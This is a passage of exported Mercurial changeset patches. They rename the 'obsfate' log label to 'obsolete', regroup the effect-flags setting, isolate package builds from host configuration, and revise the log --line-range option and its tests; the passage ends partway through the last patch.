Differential Revision: https://phab.mercurial-scm.org/D1189

diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -1728,7 +1728,7 @@
         if obsfate:
             for obsfateline in obsfate:
                 # i18n: column positioning for "hg log"
-                self.ui.write(_("obsfate:     %s\n") % obsfateline,
+                self.ui.write(_("obsolete:    %s\n") % obsfateline,
                               label='log.obsfate')
 
     def _exthook(self, ctx):
diff --git a/tests/test-commandserver.t b/tests/test-commandserver.t
--- a/tests/test-commandserver.t
+++ b/tests/test-commandserver.t
@@ -535,7 +535,7 @@
   tag:         tip
   user:        test
   date:        Thu Jan 01 00:00:00 1970 +0000
-  obsfate:     pruned
+  obsolete:    pruned
   summary:     .
   
   changeset:   0:eff892de26ec
diff --git a/tests/test-obsmarker-template.t b/tests/test-obsmarker-template.t
--- a/tests/test-obsmarker-template.t
+++ b/tests/test-obsmarker-template.t
@@ -58,13 +58,13 @@
   |/   parent:      0:ea207398892e
   |    user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
-  |    obsfate:     rewritten using amend as 3:d004c8f274b9 by test2
+  |    obsolete:    rewritten using amend as 3:d004c8f274b9 by test2
   |    summary:     A1
   |
   | x  changeset:   1:471f378eab4c
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
-  |    obsfate:     rewritten using amend as 2:a468dc9b3633
+  |    obsolete:    rewritten using amend as 2:a468dc9b3633
   |    summary:     A0
   |
   o  changeset:   0:ea207398892e
@@ -117,7 +117,7 @@
   | @  changeset:   1:471f378eab4c
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
-  |    obsfate:     rewritten using amend as 3:d004c8f274b9 by test, test2
+  |    obsolete:    rewritten using amend as 3:d004c8f274b9 by test, test2
   |    summary:     A0
   |
   o  changeset:   0:ea207398892e
@@ -401,7 +401,7 @@
   | x  changeset:   1:471597cad322
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
-  |    obsfate:     split as 2:337fec4d2edc, 3:f257fde29c7a
+  |    obsolete:    split as 2:337fec4d2edc, 3:f257fde29c7a
   |    summary:     A0
   |
   o  changeset:   0:ea207398892e
@@ -602,13 +602,13 @@
   | x  changeset:   2:0dec01379d3b
   | |  user:        test
   | |  date:        Thu Jan 01 00:00:00 1970 +0000
-  | |  obsfate:     rewritten as 3:eb5a0daa2192
+  | |  obsolete:    rewritten as 3:eb5a0daa2192
   | |  summary:     B0
   | |
   | x  changeset:   1:471f378eab4c
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
-  |    obsfate:     rewritten as 3:eb5a0daa2192
+  |    obsolete:    rewritten as 3:eb5a0daa2192
   |    summary:     A0
   |
   o  changeset:   0:ea207398892e
@@ -800,7 +800,7 @@
   | x  changeset:   1:471f378eab4c
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
-  |    obsfate:     rewritten using amend as 2:fdf9bde5129a
+  |    obsolete:    rewritten using amend as 2:fdf9bde5129a
   |    summary:     A0
   |
   o  changeset:   0:ea207398892e
@@ -830,8 +830,8 @@
   | x  changeset:   1:471f378eab4c
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
-  |    obsfate:     rewritten using amend as 2:fdf9bde5129a
-  |    obsfate:     rewritten using amend as 3:65b757b745b9
+  |    obsolete:    rewritten using amend as 2:fdf9bde5129a
+  |    obsolete:    rewritten using amend as 3:65b757b745b9
   |    summary:     A0
   |
   o  changeset:   0:ea207398892e
@@ -853,7 +853,7 @@
   |/   parent:      0:ea207398892e
   |    user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
-  |    obsfate:     rewritten using amend as 4:019fadeab383
+  |    obsolete:    rewritten using amend as 4:019fadeab383
   |    summary:     A2
   |
   | o  changeset:   2:fdf9bde5129a
@@ -866,8 +866,8 @@
   | x  changeset:   1:471f378eab4c
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
-  |    obsfate:     rewritten using amend as 2:fdf9bde5129a
-  |    obsfate:     rewritten using amend as 3:65b757b745b9
+  |    obsolete:    rewritten using amend as 2:fdf9bde5129a
+  |    obsolete:    rewritten using amend as 3:65b757b745b9
   |    summary:     A0
   |
   o  changeset:   0:ea207398892e
@@ -1081,7 +1081,7 @@
   | x  changeset:   2:0dec01379d3b
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
-  |    obsfate:     rewritten using amend as 3:b7ea6d14e664
+  |    obsolete:    rewritten using amend as 3:b7ea6d14e664
   |    summary:     B0
   |
   o  changeset:   1:471f378eab4c
@@ -1120,19 +1120,19 @@
   | |  parent:      1:471f378eab4c
   | |  user:        test
   | |  date:        Thu Jan 01 00:00:00 1970 +0000
-  | |  obsfate:     rewritten as 4:eb5a0daa2192
+  | |  obsolete:    rewritten as 4:eb5a0daa2192
   | |  summary:     B1
   | |
   | | x  changeset:   2:0dec01379d3b
   | |/   user:        test
   | |    date:        Thu Jan 01 00:00:00 1970 +0000
-  | |    obsfate:     rewritten using amend as 3:b7ea6d14e664
+  | |    obsolete:    rewritten using amend as 3:b7ea6d14e664
   | |    summary:     B0
   | |
   | x  changeset:   1:471f378eab4c
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
-  |    obsfate:     rewritten as 4:eb5a0daa2192
+  |    obsolete:    rewritten as 4:eb5a0daa2192
   |    summary:     A0
   |
   o  changeset:   0:ea207398892e
@@ -1403,13 +1403,13 @@
   |/   parent:      0:ea207398892e
   |    user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
-  |    obsfate:     rewritten using amend as 3:7a230b46bf61
+  |    obsolete:    rewritten using amend as 3:7a230b46bf61
   |    summary:     A1
   |
   | x  changeset:   1:471f378eab4c
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
-  |    obsfate:     rewritten using amend as 2:fdf9bde5129a
+  |    obsolete:    rewritten using amend as 2:fdf9bde5129a
   |    summary:     A0
   |
   o  changeset:   0:ea207398892e
@@ -1440,7 +1440,7 @@
   | @  changeset:   1:471f378eab4c
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
-  |    obsfate:     rewritten using amend as 2:7a230b46bf61
+  |    obsolete:    rewritten using amend as 2:7a230b46bf61
   |    summary:     A0
   |
   o  changeset:   0:ea207398892e
@@ -1893,8 +1893,8 @@
   | x  changeset:   6:4a004186e638
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
-  |    obsfate:     rewritten using amend as 8:b18bc8331526
-  |    obsfate:     rewritten using amend as 9:0b997eb7ceee
+  |    obsolete:    rewritten using amend as 8:b18bc8331526
+  |    obsolete:    rewritten using amend as 9:0b997eb7ceee
   |    summary:     Add A,B,C
   |
   o  changeset:   5:dd800401bd8c
@@ -2441,7 +2441,7 @@
   |  tag:         tip
   |  user:        test
   |  date:        Thu Jan 01 00:00:00 1970 +0000
-  |  obsfate:     pruned
+  |  obsolete:    pruned
   |  summary:     A2
   |
   o  changeset:   2:617adc3a144c
@@ -2453,7 +2453,7 @@
   | x  changeset:   1:471597cad322
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
-  |    obsfate:     split as 2:617adc3a144c, 3:0d0ef4bdf70e
+  |    obsolete:    split as 2:617adc3a144c, 3:0d0ef4bdf70e
   |    summary:     A0
   |
   o  changeset:   0:ea207398892e
diff --git a/tests/test-obsolete.t b/tests/test-obsolete.t
--- a/tests/test-obsolete.t
+++ b/tests/test-obsolete.t
@@ -977,7 +977,7 @@
   [log.parent changeset.draft|parent:      3:6f9641995072]
   [log.user|user:        test]
   [log.date|date:        Thu Jan 01 00:00:00 1970 +0000]
-  [log.obsfate|obsfate:     pruned]
+  [log.obsfate|obsolete:    pruned]
   [log.summary|summary:     add obsolete_e]
   
 
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1508409233 -7200
#      Thu Oct 19 12:33:53 2017 +0200
# Node ID ec765a71bd653af0220bf67c450bb7470dc0903c
# Parent  3a3adbcbd3a0f8e8abb4673605c7285ab6df1f57
obsfate: rename obsfate into obsolete in default mapfile

Like the previous patch, replace obsfate by obsolete in default mapfile.

Differential Revision: https://phab.mercurial-scm.org/D1190

diff --git a/mercurial/templates/map-cmdline.default b/mercurial/templates/map-cmdline.default
--- a/mercurial/templates/map-cmdline.default
+++ b/mercurial/templates/map-cmdline.default
@@ -78,7 +78,7 @@
 
 # Obsfate templates, it would be removed once we introduce the obsfate
 # template fragment
-lobsfate = '{if(obsfate, "{label('log.obsfate', '{obsfate % "obsfate:     {fate}\n"}')}")}'
+lobsfate = '{if(obsfate, "{label('log.obsfate', '{obsfate % "obsolete:    {fate}\n"}')}")}'
 
 [templatealias]
 labelcset(expr) = label(separate(" ",
diff --git a/tests/test-obsmarker-template.t b/tests/test-obsmarker-template.t
--- a/tests/test-obsmarker-template.t
+++ b/tests/test-obsmarker-template.t
@@ -137,7 +137,7 @@
   | @  changeset:   1:471f378eab4c
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
-  |    obsfate:     rewritten using amend as 3:d004c8f274b9 by test, test2
+  |    obsolete:    rewritten using amend as 3:d004c8f274b9 by test, test2
   |    summary:     A0
   |
   o  changeset:   0:ea207398892e
@@ -297,13 +297,13 @@
   |/   parent:      0:ea207398892e
   |    user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
-  |    obsfate:     rewritten using amend as 3:d004c8f274b9 by test2
+  |    obsolete:    rewritten using amend as 3:d004c8f274b9 by test2
   |    summary:     A1
   |
   | x  changeset:   1:471f378eab4c
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
-  |    obsfate:     rewritten using amend as 2:a468dc9b3633
+  |    obsolete:    rewritten using amend as 2:a468dc9b3633
   |    summary:     A0
   |
   o  changeset:   0:ea207398892e
@@ -326,7 +326,7 @@
   |/   parent:      0:ea207398892e
   |    user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
-  |    obsfate:     rewritten using amend as 3:d004c8f274b9 by test2 (at 2001-04-19 04:25 +0000)
+  |    obsolete:    rewritten using amend as 3:d004c8f274b9 by test2 (at 2001-04-19 04:25 +0000)
   |    files:       A0
   |    description:
   |    A1
@@ -335,7 +335,7 @@
   | x  changeset:   1:471f378eab4c
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
-  |    obsfate:     rewritten using amend as 2:a468dc9b3633 by test (at 2009-02-13 23:31 +0000)
+  |    obsolete:    rewritten using amend as 2:a468dc9b3633 by test (at 2009-02-13 23:31 +0000)
   |    files:       A0
   |    description:
   |    A0
@@ -540,7 +540,7 @@
   | x  changeset:   1:471597cad322
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
-  |    obsfate:     split as 2:337fec4d2edc, 3:f257fde29c7a
+  |    obsolete:    split as 2:337fec4d2edc, 3:f257fde29c7a
   |    summary:     A0
   |
   o  changeset:   0:ea207398892e
@@ -763,13 +763,13 @@
   | x  changeset:   2:0dec01379d3b
   | |  user:        test
   | |  date:        Thu Jan 01 00:00:00 1970 +0000
-  | |  obsfate:     rewritten as 3:eb5a0daa2192
+  | |  obsolete:    rewritten as 3:eb5a0daa2192
   | |  summary:     B0
   | |
   | x  changeset:   1:471f378eab4c
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
-  |    obsfate:     rewritten as 3:eb5a0daa2192
+  |    obsolete:    rewritten as 3:eb5a0daa2192
   |    summary:     A0
   |
   o  changeset:   0:ea207398892e
@@ -1035,7 +1035,7 @@
   |/   parent:      0:ea207398892e
   |    user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
-  |    obsfate:     rewritten using amend as 4:019fadeab383
+  |    obsolete:    rewritten using amend as 4:019fadeab383
   |    summary:     A2
   |
   | @  changeset:   2:fdf9bde5129a
@@ -1048,8 +1048,8 @@
   | x  changeset:   1:471f378eab4c
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
-  |    obsfate:     rewritten using amend as 2:fdf9bde5129a
-  |    obsfate:     rewritten using amend as 3:65b757b745b9
+  |    obsolete:    rewritten using amend as 2:fdf9bde5129a
+  |    obsolete:    rewritten using amend as 3:65b757b745b9
   |    summary:     A0
   |
   o  changeset:   0:ea207398892e
@@ -1341,19 +1341,19 @@
   | |  parent:      1:471f378eab4c
   | |  user:        test
   | |  date:        Thu Jan 01 00:00:00 1970 +0000
-  | |  obsfate:     rewritten as 4:eb5a0daa2192
+  | |  obsolete:    rewritten as 4:eb5a0daa2192
   | |  summary:     B1
   | |
   | | x  changeset:   2:0dec01379d3b
   | |/   user:        test
   | |    date:        Thu Jan 01 00:00:00 1970 +0000
-  | |    obsfate:     rewritten using amend as 3:b7ea6d14e664
+  | |    obsolete:    rewritten using amend as 3:b7ea6d14e664
   | |    summary:     B0
   | |
   | x  changeset:   1:471f378eab4c
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
-  |    obsfate:     rewritten as 4:eb5a0daa2192
+  |    obsolete:    rewritten as 4:eb5a0daa2192
   |    summary:     A0
   |
   o  changeset:   0:ea207398892e
@@ -1550,7 +1550,7 @@
   | x  changeset:   1:471f378eab4c
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
-  |    obsfate:     rewritten using amend as 2:7a230b46bf61
+  |    obsolete:    rewritten using amend as 2:7a230b46bf61
   |    summary:     A0
   |
   o  changeset:   0:ea207398892e
@@ -1741,14 +1741,14 @@
   | x  changeset:   2:0dec01379d3b
   | |  user:        test
   | |  date:        Thu Jan 01 00:00:00 1970 +0000
-  | |  obsfate:     rewritten as 3:f897c6137566
-  | |  obsfate:     rewritten as 1:471f378eab4c
+  | |  obsolete:    rewritten as 3:f897c6137566
+  | |  obsolete:    rewritten as 1:471f378eab4c
   | |  summary:     B0
   | |
   | x  changeset:   1:471f378eab4c
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
-  |    obsfate:     rewritten as 2:0dec01379d3b
+  |    obsolete:    rewritten as 2:0dec01379d3b
   |    summary:     A0
   |
   @  changeset:   0:ea207398892e
@@ -2212,14 +2212,14 @@
   | x  changeset:   7:ba2ed02b0c9a
   | |  user:        test
   | |  date:        Thu Jan 01 00:00:00 1970 +0000
-  | |  obsfate:     rewritten using rebase as 10:eceed8f98ffc
+  | |  obsolete:    rewritten using rebase as 10:eceed8f98ffc
   | |  summary:     Add A,B,C
   | |
   | x  changeset:   6:4a004186e638
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
-  |    obsfate:     rewritten using amend as 8:b18bc8331526
-  |    obsfate:     rewritten using amend as 9:0b997eb7ceee
+  |    obsolete:    rewritten using amend as 8:b18bc8331526
+  |    obsolete:    rewritten using amend as 9:0b997eb7ceee
   |    summary:     Add A,B,C
   |
   o  changeset:   5:dd800401bd8c
@@ -2232,7 +2232,7 @@
   | @  changeset:   4:9bd10a0775e4
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
-  |    obsfate:     split as 5:dd800401bd8c, 6:4a004186e638, 7:ba2ed02b0c9a
+  |    obsolete:    split as 5:dd800401bd8c, 6:4a004186e638, 7:ba2ed02b0c9a
   |    summary:     Add A,B,C
   |
   o  changeset:   3:f897c6137566
@@ -2244,14 +2244,14 @@
   | x  changeset:   2:0dec01379d3b
   | |  user:        test
   | |  date:        Thu Jan 01 00:00:00 1970 +0000
-  | |  obsfate:     rewritten as 3:f897c6137566
-  | |  obsfate:     rewritten as 1:471f378eab4c
+  | |  obsolete:    rewritten as 3:f897c6137566
+  | |  obsolete:    rewritten as 1:471f378eab4c
   | |  summary:     B0
   | |
   | x  changeset:   1:471f378eab4c
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
-  |    obsfate:     rewritten as 2:0dec01379d3b
+  |    obsolete:    rewritten as 2:0dec01379d3b
   |    summary:     A0
   |
   o  changeset:   0:ea207398892e
@@ -2373,21 +2373,21 @@
   |  parent:      0:ea207398892e
   |  user:        test
   |  date:        Thu Jan 01 00:00:00 1970 +0000
-  |  obsfate:     pruned
+  |  obsolete:    pruned
   |  summary:     A2
   |
   | x  changeset:   2:fdf9bde5129a
   |/   parent:      0:ea207398892e
   |    user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
-  |    obsfate:     pruned
+  |    obsolete:    pruned
   |    summary:     A1
   |
   | @  changeset:   1:471f378eab4c
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
-  |    obsfate:     rewritten using amend as 2:fdf9bde5129a
-  |    obsfate:     rewritten using amend as 3:65b757b745b9
+  |    obsolete:    rewritten using amend as 2:fdf9bde5129a
+  |    obsolete:    rewritten using amend as 3:65b757b745b9
   |    summary:     A0
   |
   o  changeset:   0:ea207398892e
@@ -2523,7 +2523,7 @@
   |  tag:         tip
   |  user:        test
   |  date:        Thu Jan 01 00:00:00 1970 +0000
-  |  obsfate:     pruned
+  |  obsolete:    pruned
   |  summary:     A2
   |
   o  changeset:   2:617adc3a144c
@@ -2535,7 +2535,7 @@
   | x  changeset:   1:471597cad322
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
-  |    obsfate:     split as 2:617adc3a144c, 3:0d0ef4bdf70e
+  |    obsolete:    split as 2:617adc3a144c, 3:0d0ef4bdf70e
   |    summary:     A0
   |
   o  changeset:   0:ea207398892e
diff --git a/tests/test-obsolete.t b/tests/test-obsolete.t
--- a/tests/test-obsolete.t
+++ b/tests/test-obsolete.t
@@ -950,7 +950,7 @@
   parent:      3:6f9641995072
   user:        test
   date:        Thu Jan 01 00:00:00 1970 +0000
-  obsfate:     pruned
+  obsolete:    pruned
   summary:     add obsolete_e
   
 
@@ -986,7 +986,7 @@
   [log.parent changeset.draft|parent:      3:6f9641995072]
   [log.user|user:        test]
   [log.date|date:        Thu Jan 01 00:00:00 1970 +0000]
-  [log.obsfate|obsfate:     pruned]
+  [log.obsfate|obsolete:    pruned]
   [log.summary|summary:     add obsolete_e]
   
 
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1508428220 -7200
#      Thu Oct 19 17:50:20 2017 +0200
# Node ID cc977ec0b8b9302bd6ad8e3eeacabb2776161492
# Parent  ec765a71bd653af0220bf67c450bb7470dc0903c
config: also gather effect-flags on experimental.evolution

Effect-flags config was in flight while the previous evolve config renaming
was written. Now that both landed, gather effect-flags in
experimental.evolution like the others evolve-related configurations.

Differential Revision: https://phab.mercurial-scm.org/D1197

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -369,6 +369,10 @@
 coreconfigitem('experimental', 'evolution.createmarkers',
     default=None,
 )
+coreconfigitem('experimental', 'evolution.effect-flags',
+    default=False,
+    alias=[('experimental', 'effect-flags')]
+)
 coreconfigitem('experimental', 'evolution.exchange',
     default=None,
 )
@@ -387,9 +391,6 @@
 coreconfigitem('experimental', 'nonnormalparanoidcheck',
     default=False,
 )
-coreconfigitem('experimental', 'effect-flags',
-    default=False,
-)
 coreconfigitem('experimental', 'exportableenviron',
     default=list,
 )
diff --git a/mercurial/obsolete.py b/mercurial/obsolete.py
--- a/mercurial/obsolete.py
+++ b/mercurial/obsolete.py
@@ -1077,7 +1077,7 @@
 
     # Effect flag metadata handling
     saveeffectflag = repo.ui.configbool('experimental',
-                                        'effect-flags')
+                                        'evolution.effect-flags')
 
     tr = repo.transaction('add-obsolescence-marker')
     try:
diff --git a/tests/test-obsmarkers-effectflag.t b/tests/test-obsmarkers-effectflag.t
--- a/tests/test-obsmarkers-effectflag.t
+++ b/tests/test-obsmarkers-effectflag.t
@@ -13,7 +13,7 @@
   > rebase =
   > [experimental]
   > evolution = all
-  > effect-flags = 1
+  > evolution.effect-flags = 1
   > EOF
 
   $ hg init $TESTTMP/effect-flags
# HG changeset patch
# User muxator <a.mux@inwind.it>
# Date 1508273168 -7200
#      Tue Oct 17 22:46:08 2017 +0200
# Node ID 16d9f0b3e13459ba4020409e514a02f01791ad5b
# Parent  cc977ec0b8b9302bd6ad8e3eeacabb2776161492
build: build deb/rpm independently on config/extensions in the host system

Reverts 5aac617a028d and replaces it with a more general solution.

- works for both rpm and deb
- sidesteps eventual problems with local extensions that have nothing to do with
  the build process (hg-git, for example, fails with version 4.4 because
  dedab036215d removed peerrepository, and hg-git still uses it as of 0.8.9)

diff --git a/contrib/buildrpm b/contrib/buildrpm
--- a/contrib/buildrpm
+++ b/contrib/buildrpm
@@ -11,7 +11,6 @@
 
 BUILD=1
 RPMBUILDDIR="$PWD/rpmbuild"
-export HGPLAIN=
 
 while [ "$1" ]; do
     case "$1" in
diff --git a/contrib/packagelib.sh b/contrib/packagelib.sh
--- a/contrib/packagelib.sh
+++ b/contrib/packagelib.sh
@@ -8,6 +8,9 @@
 #
 # node: the node|short hg was built from, or empty if built from a tag
 gethgversion() {
+    export HGRCPATH=
+    export HGPLAIN=
+
     make cleanbutpackages
     make local PURE=--pure
     HG="$PWD/hg"
# HG changeset patch
# User Denis Laxalde <denis@laxalde.org>
# Date 1508346033 -7200
#      Wed Oct 18 19:00:33 2017 +0200
# Node ID 4554649a6ea4ab1fb4a672e1a0f6a52cdf631c30
# Parent  16d9f0b3e13459ba4020409e514a02f01791ad5b
log: handle binary files in --line-range patterns

When a file is binary patch.trydiff() would yield None for 'hunkrange'. Handle
this case in the hunksfilter() callback.
Add tests with and without diff.git option as binary handling differs
depending on this option's value.

diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -2652,6 +2652,9 @@
                 lineranges = fctxlineranges.get(fctx.path())
                 if lineranges is not None:
                     for hr, lines in hunks:
+                        if hr is None: # binary
+                            yield hr, lines
+                            continue
                         if any(mdiff.hunkinrange(hr[2:], lr)
                                for lr in lineranges):
                             yield hr, lines
diff --git a/tests/test-log-linerange.t b/tests/test-log-linerange.t
--- a/tests/test-log-linerange.t
+++ b/tests/test-log-linerange.t
@@ -849,6 +849,39 @@
   +3
   +4
   
+
+Binary files work but without diff hunks filtering.
+(Checking w/ and w/o diff.git option.)
+
+  >>> open('binary', 'w').write('this\nis\na\nbinary\0')
+  $ hg add binary
+  $ hg ci -m 'add a binary file' --quiet
+  $ hg log -f -L binary,1-2 -p
+  changeset:   10:c96381c229df
+  tag:         tip
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     add a binary file
+  
+  diff --git a/dir/binary b/dir/binary
+  new file mode 100644
+  index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..c2e1fbed209fe919b3f189a6a31950e9adf61e45
+  GIT binary patch
+  literal 17
+  Wc$_QA$SmdpqC~Ew%)G>+N(KNlNClYy
+  
+  
+  $ hg log -f -L binary,1-2 -p --config diff.git=false
+  changeset:   10:c96381c229df
+  tag:         tip
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     add a binary file
+  
+  diff -r 6af29c3a778f -r c96381c229df dir/binary
+  Binary file dir/binary has changed
+  
+
 Option --follow is required.
 
   $ hg log -L foo,5-7
# HG changeset patch
# User Denis Laxalde <denis.laxalde@logilab.fr>
# Date 1508409446 -7200
#      Thu Oct 19 12:37:26 2017 +0200
# Node ID 5c7dbb73017996a25ca8b1c7d3391cef6b845c71
# Parent  4554649a6ea4ab1fb4a672e1a0f6a52cdf631c30
log: switch to FROMLINE:TOLINE syntax for -L/--line-range

This is more consistent with the followlines() revset.

diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -2599,7 +2599,7 @@
         except ValueError:
             raise error.Abort(_('malformatted line-range pattern %s') % pat)
         try:
-            fromline, toline = map(int, linerange.split('-'))
+            fromline, toline = map(int, linerange.split(':'))
         except ValueError:
             raise error.Abort(_("invalid line range for %s") % pat)
         msg = _("line range pattern '%s' must match exactly one file") % pat
diff --git a/mercurial/commands.py b/mercurial/commands.py
--- a/mercurial/commands.py
+++ b/mercurial/commands.py
@@ -3280,7 +3280,7 @@
 
     .. container:: verbose
 
-       Use -L/--line-range FILE,M-N options to follow the history of lines
+       Use -L/--line-range FILE,M:N options to follow the history of lines
        from M to N in FILE. With -p/--patch only diff hunks affecting
        specified line range will be shown. This option requires --follow;
        it can be specified multiple times. Currently, this option is not
@@ -3357,12 +3357,12 @@
 
       - changesets touching lines 13 to 23 for file.c::
 
-          hg log -L file.c,13-23
+          hg log -L file.c,13:23
 
       - changesets touching lines 13 to 23 for file.c and lines 2 to 6 of
         main.c with patch::
 
-          hg log -L file.c,13-23 -L main.c,2-6 -p
+          hg log -L file.c,13:23 -L main.c,2:6 -p
 
     See :hg:`help dates` for a list of formats valid for -d/--date.
 
diff --git a/tests/test-log-linerange.t b/tests/test-log-linerange.t
--- a/tests/test-log-linerange.t
+++ b/tests/test-log-linerange.t
@@ -101,7 +101,7 @@
   -11+
   +11-
 
-  $ hg log -f -L foo,5-7 -p
+  $ hg log -f -L foo,5:7 -p
   changeset:   5:cfdf972b3971
   tag:         tip
   user:        test
@@ -175,12 +175,12 @@
 
 With --template.
 
-  $ hg log -f -L foo,5-7 -T '{rev}:{node|short} {desc|firstline}\n'
+  $ hg log -f -L foo,5:7 -T '{rev}:{node|short} {desc|firstline}\n'
   5:cfdf972b3971 foo: 3 -> 3+ and 11+ -> 11-; bar: a -> a+
   4:eaec41c1a0c9 11 -> 11+; leading space before "1"
   2:63a884426fd0 2 -> 2+; added bar
   0:5ae1f82b9a00 init
-  $ hg log -f -L foo,5-7 -T json
+  $ hg log -f -L foo,5:7 -T json
   [
    {
     "rev": 5,
@@ -234,7 +234,7 @@
 
 With some white-space diff option, respective revisions are skipped.
 
-  $ hg log -f -L foo,5-7 -p --config diff.ignorews=true
+  $ hg log -f -L foo,5:7 -p --config diff.ignorews=true
   changeset:   5:cfdf972b3971
   tag:         tip
   user:        test
@@ -290,7 +290,7 @@
 
 Regular file patterns are allowed with -L and their diff shows all lines.
 
-  $ hg log -f -L foo,5-7 -p bar
+  $ hg log -f -L foo,5:7 -p bar
   changeset:   5:cfdf972b3971
   tag:         tip
   user:        test
@@ -349,7 +349,7 @@
 
 Option --rev acts as a restriction.
 
-  $ hg log -f -L foo,5-7 -p -r 'desc(2)'
+  $ hg log -f -L foo,5:7 -p -r 'desc(2)'
   changeset:   2:63a884426fd0
   user:        test
   date:        Thu Jan 01 00:00:00 1970 +0000
@@ -387,7 +387,7 @@
 With several -L patterns, changes touching any files in their respective line
 range are show.
 
-  $ hg log -f -L foo,5-7 -L bar,1-2 -p
+  $ hg log -f -L foo,5:7 -L bar,1:2 -p
   changeset:   5:cfdf972b3971
   tag:         tip
   user:        test
@@ -481,7 +481,7 @@
 Multiple -L options with the same file yields changes touching any of
 specified line ranges.
 
-  $ hg log -f -L foo,5-7 -L foo,14-15 -p
+  $ hg log -f -L foo,5:7 -L foo,14:15 -p
   changeset:   5:cfdf972b3971
   tag:         tip
   user:        test
@@ -617,7 +617,7 @@
   > p
   > EOF
   $ hg ci -m 'azerty'
-  $ hg log -f -L ba,z,1-2 -p
+  $ hg log -f -L ba,z,1:2 -p
   changeset:   8:52373265138b
   tag:         tip
   user:        test
@@ -658,7 +658,7 @@
 
   $ mkdir dir
   $ cd dir
-  $ hg log -f -L path:foo,5-7 -p
+  $ hg log -f -L path:foo,5:7 -p
   changeset:   5:cfdf972b3971
   user:        test
   date:        Thu Jan 01 00:00:00 1970 +0000
@@ -758,7 +758,7 @@
   -11-
   +1+0
   +1+1-
-  $ hg log -f -L relpath:baz,5-7 -p
+  $ hg log -f -L relpath:baz,5:7 -p
   changeset:   9:6af29c3a778f
   tag:         tip
   user:        test
@@ -856,7 +856,7 @@
   >>> open('binary', 'w').write('this\nis\na\nbinary\0')
   $ hg add binary
   $ hg ci -m 'add a binary file' --quiet
-  $ hg log -f -L binary,1-2 -p
+  $ hg log -f -L binary,1:2 -p
   changeset:   10:c96381c229df
   tag:         tip
   user:        test
@@ -871,7 +871,7 @@
   Wc$_QA$SmdpqC~Ew%)G>+N(KNlNClYy
   
   
-  $ hg log -f -L binary,1-2 -p --config diff.git=false
+  $ hg log -f -L binary,1:2 -p --config diff.git=false
   changeset:   10:c96381c229df
   tag:         tip
   user:        test
@@ -884,19 +884,19 @@
 
 Option --follow is required.
 
-  $ hg log -L foo,5-7
+  $ hg log -L foo,5:7
   abort: --line-range requires --follow
   [255]
 
 Non-exact pattern kinds are not allowed.
 
   $ cd ..
-  $ hg log -f -L glob:*a*,1-2
+  $ hg log -f -L glob:*a*,1:2
   hg: parse error: line range pattern 'glob:*a*' must match exactly one file
   [255]
 
 Graph log does work yet.
 
-  $ hg log -f -L dir/baz,5-7 --graph
+  $ hg log -f -L dir/baz,5:7 --graph
   abort: graph not supported with line range patterns
   [255]
# HG changeset patch
# User Denis Laxalde <denis.laxalde@logilab.fr>
# Date 1508415169 -7200
#      Thu Oct 19 14:12:49 2017 +0200
# Node ID 2e45bbd3db7bab742cddcf15798759b65177df5f
# Parent  5c7dbb73017996a25ca8b1c7d3391cef6b845c71
log: disable bare file patterns with --line-range

Currently, specifying both a line-range pattern and a bare file pattern
results in an AND operation whereas we probably want an OR so that bare file
patterns are like a line-range pattern with all lines specified.

So, until this works as expected, we disable this.

diff --git a/mercurial/commands.py b/mercurial/commands.py
--- a/mercurial/commands.py
+++ b/mercurial/commands.py
@@ -3383,6 +3383,11 @@
     if linerange and not opts.get('follow'):
         raise error.Abort(_('--line-range requires --follow'))
 
+    if linerange and pats:
